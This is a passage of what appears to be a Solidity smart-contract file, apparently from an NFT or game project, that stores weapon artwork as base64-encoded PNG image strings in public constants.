JQq0RVVV6HVdApB0+LV8aJe/Y/dbNJC2GOMW84O0KLTFS5gYByJaRxvn8DTaeAS32sZX9OyM4NmxA3wY6cxtPjNt8Rcy7//g4EXELRYHaXFIN7rcd4vtArYY2jKEizjKW3AR4Y8Vf8zCiY2Bx4b/5UGl+t8SeGU6/R58jFX9Hvt3RlxdsUdteGhU9NOl+An4CduRWS8TDdEWAAAAAElFTkSuQmCC";
string public constant weapon20 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAkUExURUdwTCAuN00rMldydzlKUIGXliVWLohLK0aCMsfPzL53KxkzLQKWSVIAAAABdFJOUwBA5thmAAAC8ElEQVRo3u2asW7bMBBAdR26ZCFlhUk61V4MZBNkDR4FyUNHw+WQ0R0MA11aLwayZREEdCw0+AsCdOrU7yvlJE7s2EPFh8JArA94eCTvyDtSQfB/P1EwsEMDz2GgpDTQwsAODbw6dqAMjx9Yj1FgxAMtDlTHDqTnMKlZxShZsasiOTxmyZN6go8ZBhY5CpTCDlDgWSedZOyqFDkLLJJBxuZKys5hoNMM3rMLDQP1DAaa8jd7MpsfMPBPefTACgd+ZYFn87cHnNHAL124bO+fgEcHDC566s0BF28OGJ6A/rm36B47cNkSeKhsaw3sxDDw/EDL1HpDFLtf8az/vSXw00SzyXxlE4VG9lVtY0UCo1W9dxpbA+VmZfeudK9tSoyG9d4LgXce3Tbbv0e5I8Zs65midxZS5MkNPeZhHSsUmLpY1OQkJgeiuz0wRSPHjdktC7kqTvGGDZwkGdKRuOdSUz76ReJ49wAMu16TWL/axDyAzZhXr46CXtcv+37uAL06i3WyxCBwrWhfAZVXbA9rBZbZzbI87rKikJqzOQisbsgZA3TLMnREFY1iBvgwi3acTiIM6I6WVWHjQm1KRK9NXBriILVxTPXMjpgU6eT5ndW7CZeiyG0SkUdBkY4Nd/itb+zj2RQGVhqtISamNKTi6LOelwZUHGWZrqacogw6WlegosQDPZ2DipJlgTFViYWiuJCRRhEbc6PmFO/IbHGKszv2msroKXs9IHoK36Rp/YFVvNQX96jipQ5vSUUplfRJRVOqAFU0lcsXUrEBooqmmgaoojTAIPyFKT4A5RpTdBtiQwrvKcVHoFwvIcVHIKf4BFwrCgjEFN8/AamF3gCpWNwMmVI01eY5nVE08w2QUXwBZBTN/Lm2QRTNy6qYUNwCEvuibNXt4e2yiwKlf+37siLbf3WEi/suCvRXlJ2K2F9xxweYxWBXcYHynOI3Fhio4PSdvtP3Dz0bDAzhfyl0D37DZturhwMQV1zSisvDin8B5OLFwqKNjjEAAAAASUVORK5CYII=";
string public constant weapon21 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAeUExURUdwTE+PuiU6XhcgOHO+0zxei6Td2xUdKCAuNzlKUF8AKFIAAAABdFJOUwBA5thmAAAC80lEQVRo3u3aMW8TMRjGcRMLlfVJnbI2Pp2qbum9OYnVV+d2X3JiJqR7VYa2GxJD6cxA+m0Z2pUB9AcVUX+Anx778Vl31jn3t4bHwQUNrmFwMoUjTlYVDCYazHHxzMHNQIPT6nmDLQ3ON1O0FV9gcDILLNjS4LxkFPSl5CFW5BIqwWBIkQRflTCLtiDBPK1YMA2G7uuSoqFnjf4AWMHgwJ4NyrN4ckmCIQ3xhGxZOU0jF9HPpTwjI86lkAYWVCbn3EoKHQhOiqREtlJLymQrTZEC2YqvpTAFQdeUMaxI0NezQrbiXFPGPFyyETdTEnRN2XQo6Ou1oaBrmtkJCvr5gNbsJrq+YsG3D3fHJHjwHgbd1e13tuaD0z0Lupv9NQw+3LHgAQ7e38Gt3NOt3P6hmr0ZWrNvZWTNvg1b42p2rg19NLBmX/K2Mq6Vy1Z9rBYc+KmELfiNcbNvhYJvvhR0xs61YkFfFLYk2IpdQl+kow4EW0l95EBfJO0i9x3ZSgpbDvRF0lHHlez1uIQY2EoKOxA8k9R33I2QL48BOfApILYN26eAGHgm9SminYTdtDKjLq18UfhAzthLfRcNTCj1XWVmDQzW1JyfQF8P0MZupL6rFq4BwaMummsGaCM2UtjFymxEwRjNIgY+Hl42sGA0qJVGUt7BYNjFWNtwDIPO/WfgevEC/u4wSaEHQY+Dcxo8g0HX0KDRoMfBucSCZ1LfxZH7LltKecudNs4tpcCCSWFHgj5JPQpmqR9IcCkddTX4c9BjK9xGdJYULkjQZ2kXR3IRE9uKs6ywrck5L1PoyTk7y8rPP2I/0BEv/pWIazji69mCi/jRzF4LjHjexXUrMOJhjjUHOsuHqy6ORdhr0/I8bVbjyF37maVZHsfxGNuLttJmNWYK9Guzorzhbk5ra6VwbuTLsUqwUwysJZV1s8cOiKZIo51+5k4cM6uM85wzM2vcy3gZL+NXnhrW8+/u2X/J/f3+Gxvx3QMf8Qsd8etPI/4AwmnRm7qgrzMAAAAASUVORK5CYII=";
string public constant weapon22 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAbUExURUdwTBcgOCU6Xjxei2AsLIhLK3O+0zQcJ0+PunHcoxIAAAABdFJOUwBA5thmAAADZElEQVRo3u2awYrjMAyG4zeIXJdeNwqUXieGMsctOOQ8YLP3KZget9Ay9xko89hrJ22aYWEP1Q/LstGpl35I/mVZllMUs80222yzzTbbbP+HKSIw8EglFGhWDuvi0oQjFrgMOzDQY4Hm/IYFqi7soDKrs++wwNY5MNCDgSePzWxlvMNm9so5bN6QB5cHat0Rq8oSnIgFBbAqKRPBe8UEcI2lf8BF58GZYxw4c0xnsJlj/A68iAEMVAGtSuvBJ1Ub0DL7E3YRjUPnTTDghiSswC1TICgwHQNo4ItBn/ZooDPgk8+B7wIF7cDAAnz9ScsovI/9/ksG5OuKKc0QotpUww9tL68INdT6vXdM1dbGCsDTm2gTUS0SEOGiZhs/LJHe83OMcqBie4nxYC3v+fLKUQzU9TbRGuYEjLVdixdR22h749i8VrqpxBFv9wOwWTdMtBAD68vgH/O6qYgrOTAOuATcp+TRJNzMuu4lycx6nxRWlbDc6Oe0hDz4uK9uKPV4ydZJk6a2SQ7S/b5TA5AeF/nDNj2P6L6R1ZIkInOSN9t2CiwFIjPnkZei7a0wCoENV32AtB4pqn0ceMjA/t+qugPD48AkMg//VnQP2T8K1APwWmnHymAeB9oJsLY34HInAfLo4RONmlCBAFJT3pbw4cTOwOoaHi2uMUsah8Xe1iMwxSw96bOHIzDHXAmJegrMMdOqBAKzzsIpS07sO7Cgyginurk4TICKWi/zUHECPpWTS1Qna4dTxf4CTEsIADblpJs1nSxx0iHFtpwOloRjoCRzMwWq8EMKjI2tpvOBFxLKvG3qpy83x1IK3E9VKaTAHPMXVZY/pEDevnI1vX0LBxiK63jgcjoFEt8CnuP76CIZMVAxX+LoolnJ33woNa+HW6U2BHiiScTNJw/HiTkiBl+kM7HvSGh39oAraWprNp+f/C2/Sonz5uokDR4qYxxm4tD3sJRHui32sVC5c3gpkUTjwC7SyWFdVLRy7oicLRGtTq4DElWKOQTk/IuuRMKt4ikpjZy3K+qd9ISVGvwkQPTmOuTYT5nWYR+nUqsIqjvjgRrATz8pZuR+Gd7XwS4Gj3YxpLIDdtH9xB4HzhVQI/cdCyzKYrbZZvt7hv7orzAd+DOA1oOBS/B3QvlbCiyQwh8W8Rdw6q7YDrTlAgAAAABJRU5ErkJggg==";
}
contract Weapons5{
string public constant weapon3 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAhUExURUdwTGAsLIhLKxUdKEEdMb53KxkzLSAuNyVWLkaCMt6eQcye4CcAAAABdFJOUwBA5thmAAADnUlEQVRo3u2ZzYrbSBSFD1Swejm35J6s67hFtipV+wGcEWRtgfYeAsLZTXo6GPIAQn4BYz9ANv2Us5Dt9g8D0+W7yBCdnb34uL+nLjYwaNCgQYMGDRo0aNCgQf87rf5S5vGDHswASfaDkSGG/Oorb/DtxUlciEaugMbm+P7yUr2PAvr5FdAzx/cfq1VchMUFMACFy/FtZd0qCjh1Z0DjchQTIPmaMS7l6XkNjZ0YOwHwVNkPGkB4ek4APJXl24EmhNxeAq3jBMCzzD5FjAwn3qWX3/VAN357Dc1cOGF6MeiWDDmeGQHEVIS8KiLJCZIooKlEeJ6zESdiXZ7EpAxMnQjPJtFYppKGPBmPI8YmsK5JaU6BlDTkQDKLAIasriTI7204KaHru5TYt6cc6poSUCz/lKOHGev6JsU0xdOlATCNiKQ90XhKH27i3p5yCH1gU3cgGm8PPY9rSq/PtRORFCZ4OU5lUo7fxwIX09pZkeBPh3Ll4oEjM62EkoqIHNcmbvWw7Lq2GcFM50J6oRy35iujajha7rZdAxiK0NG97vWTK6OaMlpv22YBFCTdSYB4Ny7jarhsm2YBGFuR7gSIsvwUBbxbN+0CgM9IOXOyMu5yWG/W2waAyarTEgJ4FwW82y13uy8NgKKuLl6DuIzb9W7bbAAY1hrAru3Wm+bLAkCRuVwBuOzWbdOHaOe3A++2Xdculu2mP3PSm4l3u127wLJren+U9HbgZgGMunYBwFzMTRxwAQBNvy1Xb3RMDU8/2dsn8Rzoa95cxO7sasgqhdE+uxpqyVWJ/nVZDk/ijSHeH4B/z8jfNELcdyUpLcelRoh74LOlK8s/NNrSd+WZHI81gCj6IiYfORuXGjn7eXp4lkUFaPajbayb6RTxMNqeM5UimsNoP1qdrhxH23x8GKvkPN07mJk96LS5OBjO44PSIL4CVQJEUe3b/KjvYEommzlt16Yy0FH3GTC0PzkQhUj6cwO9Uwbqd8Va5V0ptHfFqy/fvfIN9upgajlX2g5W61uiMvB+rt6VXxCoPYh06kBle7Dapi2i7LGinLOxme5rbyx1DcdY0XVtk9Hq+sO0Uj6Zipq6o2iyipSQa4ZY00ka9EIsmNWViCIxMKtrp0hECMxUYwRCyJxVbQ1C5fp/NPS6TZJOMUhTkM5q7rUJpOietIEUqvp30H6yUOgGCJiAQYMG/feFUd5Ar/8LkegutadzQTlEq32Gyr+W8R9iP7IZXM39cAAAAABJRU5ErkJggg==";
string public constant weapon30 = "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";
string public constant weapon31 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAqUExURUdwTDQcJ4hLK2AsLBUdKDlKUCAuN1dyd0EdMai1snUkOMfPzKUwMIGXlhrCjYUAAAABdFJOUwBA5thmAAADCElEQVRo3u2YQW7aQBSGx6oVeYkxF8D0AGA4wKAOONkzRlE2WdiussgOx7LURVqxQF4TWVbaXSo5KBeIUC4QsU12uUvHQW1ImcBg3iIt868QQp/+9/4380YgJCUlJSUlJSUlJSUlJSUlJcWRdg4MjDNYd9pNButOm10BGpzcn6sMuD+EAt7MMvs71iYZVvSmPldpK+D9z4MUx7PJV8MyLctkyrlb9PA6OUzIl1mWo2rmXLVGYaKmXaeHF1F6/63ZIr/VbDYbhQ0Oo4tokKYDQvCfL3Nk4RZeHYwTO00I0kYL5+VTvTAwscfjKOmh/XgGMt5xRIid9AiJZhOQE626XXpC7JR1cQTC6/quQ6I8FAyDo9TpEkJ7GMSe71FKfdcOQOwh1GU46vhuJwx7EIGouT/q++5g1Ae5Yp+Bjv/Z7U/iDAK4FzL5fnAcx8MJBLDLeGe+FxxrI7QP0UMvN+jQM6jLXz2c3p55QR8MuHc5vfP7Qd+BAnam00cvBASe5AbDwHGhKj7KDYaOi6EqvvyRG4Tyxyq+faRh4GOwoTm68/qhA8ZDe8wgdeAKRp07j8IFwnTKDELy1Cd2EwLykP1AHQL5CD4FDYRV/FAwEKX0lsGCgbz1KnsoONGK0eRbpEUbqBd/OG5osbCkxXdqsQZt0ZIWISwCA5V/oGYT2qJV3b1R3MmcZc3vsGZwoPLuDwvaxcEpgw+OKQxU27quV9a9wze4ZduGaZoNHUNtFtWY/1e8hih++tpWQ9eNnFgBmUTVqFUwayNDNkoQqTCDeJ6MZbYgUmEG5x+IbtUwwGiXq/glnRZAzOXqQvUrLQqmsgBcY1EwlQXgGouCTXzp4TqLgk00FoDM4seVP934KlZXNl4MqLxCtM3tga8QSgPBAtUSMHBNfv8LsCK8+YQOs2KJA6067AYXA6IyOLCKBYEfzPrGt8PK+RYF1pZTaXOXtCCQMzeqbrW2AM736F+PCd7VLQjkpdLm7mhRIKeJKne7iAJ5h4+7XYSBy03kL0BF9A8X7iQay76fgb8A9r/TyaZS5CQAAAAASUVORK5CYII=";
string public constant weapon32 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAeUExURUdwTGAsLCQVJ4hLK753K96eQTQcJ0EdMXUkOKUwMEPNVCIAAAABdFJOUwBA5thmAAACBUlEQVRo3u2aPW/TUBSGnTMwc3PTIDbbSSy61ZymniNfs6M4omOTCO9hIStTzIhERfm3uJ1IJCY/Eml13h/w6D3nXr/3y1FkMplMJpPJZDKZTCaT6f8rhnkyhIGDHLY4UNii+Pc0kK55Qtec6AauGQfSPZQbGvj63MNBzj5uopQGJrTFV3QiRjhwE5lMJtPzE75G4QuAp4ETegFIrs59UMQm+stXCm/mxLkU/fZmK3VD0qQLHdGxxGVHJKt2lXZVk20cLVXfkBYHVan7L6jFumh3rMX9AR2W6O3DLkeH5d0v71GghNKdnsJ7tUDmtSti8jA0qYuTiTPoCfy0b4+BPXsqt+3xxOl7fyXfD7sjoO85jeRnFzl/AcX3jAu5r/XIU5L3nInTOlc0HzpgQQP3X2MUWLQwsGUTbHrb7lhge/COvMu4fPimaMZe/h7l6FWs/Ah5hgLvg27IDYlUC4/2UCrnGnKUxfnt6sMdCRyvVG9I4OelG+kdCfzoXEkC549A7hwpixnssNrCPazG1+woV+U25BsUOG6ahotYmZcua8CIlXlww7VyTzVyUbo4udZhTALFB4zYAbs0TJ+IzK3GbPkYr6lXhWpO6qe8Tv0VC+Qea2RFv+FeLGKWOK1pixVukb5HFNjgiTL6iXg9Zg1n65JtaZoF+BlbRiX9K0A4+98fEv0H8A95klKvDkrK2QAAAABJRU5ErkJggg==";
string public constant weapon33 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACdQTFRFekhBJBUnTSsyrXdXQR0xEBQf17WUdSQ4OUpQV3J3pTAwIC43////j5e0AwAAAA10Uk5T////////////////AD3oIoYAAANqSURBVHja7NrbcusgDAVQiYttnPz/9x4J8C3J6SQOuHum4qV9XCOBEIrpDr7IgAY0oAENaEADGtCABjSgAQ1oQAMa0IAGNKABDWjA/68IDoxjBARGcOAeFccpAgJXofyLCVyEcUYEinCuwjgnSOC0CGGBVSgZTiNkiqeUhXGeIIEiTGkc2bFkGBSoQkdOMjxDAmUPpomJU5ohI1iETC5N89TxGH8DFCETsRTqhAlMt3F2CkygQBXKJpQAQqZYQ5huAtQ/mMCb0OSUSAAxgVk4ySaEBibN8Q2yDlah5hgWqELNMeKjaRMyPBD74R5v6JOFGMGB98jgwDs7cGBfYRMggQPv8EBnQOBlQAMa0IAGNKABDdgDyOzywgSy8Kgshwhk7331MWIEeeWRQwRe7PsYePBhAmkXwAAHZDoGMMAB1wyLTzMcUIHiK2eEoICS4TWCrh5iggL63RlZqgyBArcyGGCAuzN8qNMw0y3e78D9RUJgQOUdbzpCApbo8fGi82Ap3s5wb+HJFGchXyE8F8EifAgiQQCHNcNPwD7CTwv1sGtmnhpWAgBuwqWf2a/w28B9CF+c5B7Cz9uti4Un3iTD8AOwufBjYF7uOuGZh7v7McmNhSeATlLsXWkY+gvPRFA3oezE2tN0Fp4aHg16UBZiZ+Gp4q/jo0ys7VdP4bnbSYW53PSP4ekB5p7YU3j6fl+JnYVfNCCVmLvDfsKvOiTmJYj9hF+2cIXYU/h1j8ncV9ji06iuwiZfHtWT8mokHBCAWajdA3P7GLZ55xShdx2y3OghVoW8CrnVZKnVS3ER1rco73+F8gjAo5CPHYRHAO6FTA/bkRCAm1Bq9+PggRCAm1AD+DAZCQjAKtTL7wl4Wth23pPvlMzkp9lSQADmCSLTkC+Vx2slIABF6ORZKr4QQpPZV/ORngSuAOexibDDzFFTLMCxTQx7DEVLGQxtYtgFWOpgmxh2GXyXq7hNDPv8dlCaGeYRo+V/KSx/7qjAdsuABvybQH7/q6pfAeYyGXCB+fOgd4UXAlkuvpDfpH7Ib76ABSzNQ9A33+B11PSe8MoIau8gQirDsDe/nbtyD0rvoO2NBLBM694SXnpINMsaQL99kkFYp1haRAmgAtdHn8cqM+WISJFx66dVBFYHM7D85FyFP+/DfwIMAPZjf/pwQeOjAAAAAElFTkSuQmCC";
string public constant weapon34 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAA8UExURUdwTBUdKCVWLqjKWK13VyAuN0aCMk0rMjQcJ3pIQTlKUFdyd8fPzHWnQxkzLYGXltDakWAsLL53K4hLK9ne/S4AAAABdFJOUwBA5thmAAACPElEQVR42u3aAW7CMAwF0DqtEyfpKGz3v+ucwNA2wai6hlji/wPQx7fTsqnDgCAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiD9IuEaczYiUlasmaYpWqPSkpliFE1BiRRlTTTBpGUuQvk27cu4L9TY2UgiOTHdXsxKjWrsCDy9n+Qe8MqMvUpMid8/TsJED8547FNiWubEJ6FHPhX2KZAzL4nDY1+HHA463jwT/71//Xic5qx3l8zJYn/M1Vf6I4M+ZucK0KzPO+90/YovWfU50v6SHhN7wLOPKZEuIpO5I3zxLXSOztiab6y+dCDnOS/WboLqG0eX53Rw3r/xko0Bq8/nOVffWIDWfMdvvje2198Pn/fWFvC3z1n0LWZ9Ax/Hcizs+rRAztU3WvTVAonPvtGiTwsk58z6SoH6cKs8y74Lj9nej8Dis8vTh0idry+/ZAzyFFh9RWfxT0xNOb+q4wHp+5+S1QkRQgghhBBCCCGEEMInAoP1CidUiApRISpEhagQFaJCVIgKUeFrVIgZm57x+c1gszP+ehX8X8Z2My688tKyyL+MzYCVdx20GsXWEob4ozM1br1OG+CN1d56oSYzvnn0NgrbAG9atgkbAcNu69RoxGG/hW9wSu7f/bdc7KnALVe7sy8NVnCj8MnAIRg4Jft+55cExpcCPvk+YwQ4idmVbvCRcTK+hA2A+874JYHrhGIcKEH6AfcU9gMOsuqG3ga4TrjqkdMKuKqdNV+jEXA/YSvgbsJfz6VPqCoZDwido94AAAAASUVORK5CYII=";
string public constant weapon35 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAzUExURUdwTMfPzCVWLhkzLRAUH1dydyAuN9DakTlKUIGXlkaCMoOeZNDakevt6ZKyZqjKWHWnQxCRHv8AAAAIdFJOUwD///////+Na8FEIgAAAm1JREFUeNrt2t1O40AMhuHJ/LhOgNL7v9q1J00JkCVSuiLvSv4kTlAPHo1nHE/alCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSORwRuE9V2L7WFA1sI3oFRUc8sAm8wnDgyAb6AgbwWSC9C7KBKWmDP4qT0oFJ8Lgcs+ATwAIHlgwX5gkuzNOU4SWeptiET9YYD4QLSz5cY/mdLl/KQeDvXfjLQV+DX1fhVwV/YSJoH/q22n3kBVT6ZVVH9g5M9AVM8B2YEn0BA/gvDjF9Cyq8C4bvmeewCP59SeQjl+1/11ohvsumsIpU8gpWUQzwL75GBrpvBAO7jwDcPh53XyP4NoVVmvsUCqzmGxi+zRJb+3PfSGoya6aX132jknwPYa3G676GBD54rAqntU/lDkQ26WpTsiKBS5WtQw9A4OWee5X7GWFtwZeetVBZvuv76+v7dRHygOZ7ezPhaglRXfDFfS7sSwgEXn39/O/6UeMAHi9xB8K6zJdDMuDa9Pc2w3rQbTRq4JN4eRrPD2PcLPMYFuxCorRp8NO4ZfOWGFGR42BdRpkRCXSeDfzLjYRY4zWRKTSiakMLFyJYmB5C5kleCbFAFw4D693CN6Ff4EXAQFtCqzC7xgN7E/oubNzvIboQ3AqXJbQig4VzpzFhJS+hCVXRRXbi7mfPFu59Us4V7o4/0k4U6qB7PGmndaO6d0I6bz7qZ02vP/yyo868M30/2Vx3/8qR5ys55yLq39gSfc6bptyvz/2eT1u/POXbLXdd5+F8prtN2XVEXsqum6zE/UrAmyOsvr4BS3EdcMwpc3qbYc44lWuLRP7j/AGT7RtahxzVcwAAAABJRU5ErkJggg==";
string public constant weapon36 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADBQTFRFEBQfIC43OUpQV3J3gZeWJBUndSQ4YCwsFR0oQR0xiEsrpTAwvncrx8/MNBwn////dW/aeAAAABB0Uk5T////////////////////AOAjXRkAAARiSURBVHja7NzhsqMqDADghIAotvb933aTQG3t6Z22ipo7A3/27NnZ9TsJIAS6cDPeoAEbsAEbsAEbsAEbsAEbsAEbsAEbsAEbsAEbsAEbsAEb8KQfssI/Dh0YBIJx4DMKOgcGgbOQv7QJvAthtAhk4ViEMJJJoLsLzQKLkDNMnckUO1IhjM4kkIVEXRdi4AwbBYowpsgZHk0CuQ+SCykQjSYjmIUhRXKj23EYbwGyMKQUeKImm0DCbowCJKNAEXIn5ACaTLGEkJCB8otNIDKNRwkH0CZQhY47oWkgSY7R5DxYhJJjs0ARSo4tbpoewmAeaHvjDmi9sgBgHHiDYBx4C9E4cF9hFWAyDryZB8YGNNwasAEbsAEbsAEb8P8EBADTQHDYH238EUgOxWg2xT0LDyb++CQWHkz89Tm9m4lGp5neoSN07ijh70/pRecOE654CE82WIazTWAPDPRHCVc9grPsvXN9D87ou7hH8nkoO5tAHsuaY4QbWQfuLVx7bwZ1ttZhQhaB8kZBAA3hvsL1QIQQIJ8xkUkghBRDWTOQRWCIiYXlt84cEDBcLinOQrIG5O3JRYTzIQlZA94YGC9xd+EGYFoCdxJuADLvOcc7CdcDES4yjp+F3lZlATh+wzA8nyV6W8CUhm4J3EG4CTh0HQthV+GWRfvQjeMrsLpwI7AbwuuVCm8J2IU/Oa4t3HTzaAjdG2Bd4babR297YV3hNmDHvXDnGG7benMvHMLfcVJTuPHuFs/TgmTjy5+QDeANQumG8ZVIVoDSDYd0kYVX2EO4+e4WAwde0yRZ/y8L7GQDKF1QdydRtsmLepezABThoLsTmEsNVYUVLpdBlC4IWnXF5W1RZwGYiRGkWNO/Vv+dCaAekUk1SQvXlYW1irig9bi+71+JzhAQ5QBAOmLN2aYaEL2nPE40itWE1er0KtRxguxcCL0RoMYwZ/nllMdbAEpVuGT5RYi5rTx+rAl0noVUgEXIMmK4NFpFrHhWBI5UKEaZGFkoOv4m6uhZR6wJRFSh8ILWr7HoKKtXEWuetoEGTKvrgY3ik9jRva0iVgdm3zRN6uPUXj0tib99QqvqeaV+hkh8MUQWZqB/CL10xR8/oVUb6DIwTpGBXlPsrrn54jsRqELNcJQVtsYO8T41uuI7EyhCAYpwAu+vml58NP36TOBDOAHIpHO9Pg+SbD0VKENZpkGeqMHnV0jpgY9Angu8yeYuv3vR399y2qwAdQMgO+Sc479AOB34BJ2J9OCd9yZ5G0qkRQSBty0/3WbZ+zNdcO+SJXr9r5eWdr+aA6UpD+4L7u8HyhF3hx5t9vWWgHMLupjIFZyvh8qBwDDNFzjlBf0lEQ70yQqREyw3gnKd6RvjoUCnPl25lmR/Nh6ZYpAAki8+klC6j//JxaE3jiVqeWuKOYy8usYPwkOByFErG7/im6b4Ic2HXiuXUVyEsjZkX4xJF9//bTwUqHuWeYfHyeXNX0wpFeTbv/NPgAEAcvWQ9R8a5cwAAAAASUVORK5CYII=";
string public constant weapon37 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAkUExURUdwTBAUHyU6XhcgOCAuNzlKUDxei1dyd0+Puqi1sqTd2+vt6ceDTi4AAAABdFJOUwBA5thmAAAGpElEQVRo3u2ZP4vbSBjGNeyEazWRFOFyRyCWVLFERMoV0TC4uyESwqQ6LWeWVCdOQqjNwrJcZ1gjTLocHMf2IV/vZmR77TWWLFlTXOG3tn9+5v0/Y0U529nOdrazne1sZzvVEFKl8oDrjqUCNXtmyZQInIdELtCTDpxJBjozLBWoaBi7quS0kZw3SDZQcR3JwAtPrhM50JINvJELVLwbyU50EtlRmUkHyg6zbf3vo/JVthPvZQOvhBPr8QcQCvzhwA+8Vvgw4DqDojDD4SHy7lRFu0F3SI+XyzQfLtG5Gyuvx9pdFNGyYuVwiRc8zA76MH5f6D5CZDFY4sUtV3h7Z7/3GTKYPmXDw+yqry3Hdn5niISI5KqEqPDxN/MuVUWPfBQPAgaqiAq6dOyZ845nIpeIhvBgHPrKReIkb9Y7hB7qg4JCFjQPLmzPstY7BPDjbMCR4efMyGJNc10H48u15kHAigFSMb4/uBive8Sr/lEGz4swCAP9c/7Rcl3kPDfusDePn1B99iH5GToJL75tcGHfdUZznU3X5z6c5h/tq52xct177ecB2IwRYPxkhRC4szEFfTdCEdANUDfzwOACrR0g6SlRsxKM13swIHoYhw7+eulu9xHinw6EsY+KP/EVVrUtEPQEAsfD9nqxhiWDhRCoaMk2KmpfoJVwYO0z+G0OPwmB/AJ0+uR7bdn2uipgmfq1QD6jLk9f/B1etisgiMNP9lss5qdz+pYItGeggoiTfL9E4jaQqAMk4mRz3fnIBY5FM9DsAUAbe5sLGRdooYJPJc0bDwG668X6QgiM6EIdEhXg2dixVt2gFsjgZ8aj8tsg4MqHtUA+48hCBe7JYRbAdf/aeBAY6ota6Qu8wmNNHFkIvFQmP